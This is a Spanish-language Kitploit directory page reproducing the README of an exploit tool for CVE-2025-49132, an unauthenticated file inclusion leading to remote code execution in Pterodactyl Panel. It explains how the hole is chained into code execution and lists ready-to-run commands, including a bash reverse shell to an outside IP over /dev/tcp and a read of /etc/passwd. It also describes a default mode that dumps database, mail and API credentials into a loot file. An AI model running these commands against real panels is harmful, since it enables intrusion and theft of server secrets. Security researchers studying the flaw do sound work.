Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-49132 — Exploit para Pterodactyl Panel ≤ 1.11.10 - LFI no autenticado a RCE | Kitploit
Herramientas/GitHubGitHub/yoyochaud/cve-2025-49132
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubyoyochaud/cve-2025-49132

CVE-2025-49132

Exploit para Pterodactyl Panel ≤ 1.11.10 - LFI no autenticado a RCE

Ver Repositorio
2513hace 7 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-49132 - Pterodactyl Panel RCE no autenticado

root@kitploit:~
  ___ __   __ ___      ___   ___  ___  ___        _  _   ___  _  ____  ___ 
 / __|\ \ / /| __|___ |_  ) / _ \|_  )| __|___   | || | / _ \| ||__ / |_  )
| (__  \ V / | _|___|  / / | (_) |/ / |__ \___|  |_  _| \_, /| ||_ \  / / 
 \___|  \_/  |___|    /___| \___//___||___/        |_|   /_/ |_|___/ /___|

Exploit para Pterodactyl Panel ≤ 1.11.10 - LFI no autenticado a RCE.

La Vulnerabilidad

El endpoint /locales/locale.json acepta los parámetros locale y namespace que se pasan directamente a include() de PHP sin saneamiento ni autenticación. El parámetro hash diseñado para prevenir abusos nunca se aplica en versiones sin parche.

Esto permite:

  • Inclusión de Archivos Local (LFI) - Leer cualquier archivo de configuración .php (credenciales de base de datos, APP_KEY, correo, sesión...)
  • Ejecución Remota de Código (RCE) - Mediante inclusión de pearcmd.php (truco de register_argc_argv + config-create), cadenas de filtros PHP o deserialización de Laravel con la APP_KEY filtrada

Afectado: Pterodactyl Panel ≤ 1.11.10 Corregido en: 1.11.11

¿Por Qué Este PoC?

Los PoCs originales usan Python requests para enviar el payload pearcmd. El problema: requests codifica silenciosamente en URL caracteres como <, >, {, } - lo que rompe las etiquetas PHP (<?=system(...)?>) incrustadas en la URL.

Este exploit soluciona eso con dos cambios clave:

  1. curl para la Etapa 1 - La solicitud de creación de payload usa curl -g (globoff) mediante subprocess, evitando por completo la codificación URL de Python.
  2. hex2bin() para codificación de comandos - En lugar de inyectar el comando sin procesar (que se rompe con espacios y caracteres especiales), el comando se codifica en hexadecimal y se decodifica del lado del servidor con system(hex2bin('...')). Hexadecimal solo usa 0-9a-f - sin +, sin =, sin &, sin espacios. Esto significa que cualquier comando funciona, incluyendo reverse shells con >& y /dev/tcp/.
  3. Ruta PEAR Dinámica - A diferencia de muchos scripts estáticos que fijan /usr/share/php, esta herramienta soporta completamente el argumento --pear-dir. Inyecta dinámicamente la ruta personalizada en la solicitud curl sin procesar, permitiendo explotar objetivos con configuraciones no estándar.
  4. Automatización Todo-en-Uno - En lugar de depender de scripts separados para diferentes vectores, esta herramienta automatiza completamente toda la superficie de ataque (pearcmd, Filtros PHP, Deserialización, LFI .php), verificando cada posibilidad para garantizar la ruta RCE más confiable.

Instalación

root@kitploit:~
pip install requests

Opcional (para métodos de RCE por cadena de filtros / deserialización):

root@kitploit:~
pip install pycryptodome
git clone https://github.com/synacktiv/php_filter_chain_generator

Uso

RCE

root@kitploit:~
# Comando simple
python3 exploit.py http://panel.fr --rce-cmd "id"

# Cadena de filtros PHP (necesita php_filter_chain_generator en PATH)
python3 exploit.py http://panel.fr --rce-filter "id"

# Cadena de filtros pregenerada
python3 exploit.py http://panel.fr --rce-filter "id" --filter-chain "php://filter/..."

# Deserialización Laravel mediante APP_KEY filtrada (necesita phpggc + pycryptodome)
python3 exploit.py http://panel.fr --rce-d "id"

# RCE con otro directorio pear
python3 exploit.py http://panel.fr --rce-cmd "cat /etc/passwd" --pear-dir /usr/share/php/PEAR

# Reverse shell 
python3 exploit.py http://panel.fr --rce-cmd "/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"

Volcado Completo de Configuración (modo predeterminado)

root@kitploit:~
# Extrae todas las configuraciones (credenciales BD, APP_KEY, correo, sesión, CORS…) + intenta RCE automático
python3 exploit.py http://panel.fr

Opciones

OpciónDescripción
targetURL objetivo (ej. http://panel.pterodactyl.fr)
--rce-cmd CMDEjecutar CMD mediante pearcmd (admite cualquier comando, incl. reverse shells)
--rce-filter CMDEjecutar CMD mediante cadena de filtros PHP
--filter-chain CHAINUsar una cadena php://filter pregenerada (con --rce-filter)
--rce-d CMDEjecutar CMD mediante deserialización de Laravel
--pear-dir PATHRuta al directorio de pearcmd.php (por defecto: /usr/share/php)
--timeout NTiempo de espera de la solicitud en segundos (por defecto: 10)
--verify-sslHabilitar verificación del certificado SSL (desactivado por defecto)
-o ARCHIVOArchivo de informe de salida (por defecto: loot.json)

Valores comunes de --pear-dir

DistribuciónRuta
Debian / Ubuntu/usr/share/php (por defecto)
openSUSE/usr/share/php/PEAR
Alpine/usr/share/php84 o /usr/share/php83
RHEL / Rocky/usr/share/pear

Lo que el Modo por Defecto Extrae

Cuando se ejecuta sin --rce-cmd / --rce-filter / --rce-d, el exploit realiza una extracción completa de configuración:

  • Base de datos - Host MySQL, puerto, usuario, contraseña, nombre de base de datos + configuración Redis
  • Aplicación - APP_KEY (→ deserialización de Laravel), versión, entorno, modo debug
  • Pterodactyl - Configuraciones específicas del panel, configuración 2FA, flags de características
  • Sesión - Driver, configuración de cookies, ajustes de cifrado
  • Autenticación - Configuración de bloqueo, caducidad de restablecimiento de contraseña
  • Servicios - Claves API externas (Mailgun, Postmark, etc.)
  • Correo - Credenciales SMTP, configuración del mailer
  • Queue / Cache / Hashing / CORS / Logging / Filesystems
  • Archivos sensibles - Intenta leer /etc/passwd, nombre de host, versión del kernel

Se guarda un informe JSON completo en loot.json (o ruta personalizada mediante -o).

Créditos

Este exploit es una mejora basada en el PoC de GRodolphe/CVE-2025-49132_poc, a su vez inspirado por el PoC original de 0xtensho/CVE-2025-49132-poc.

Descargar herramienta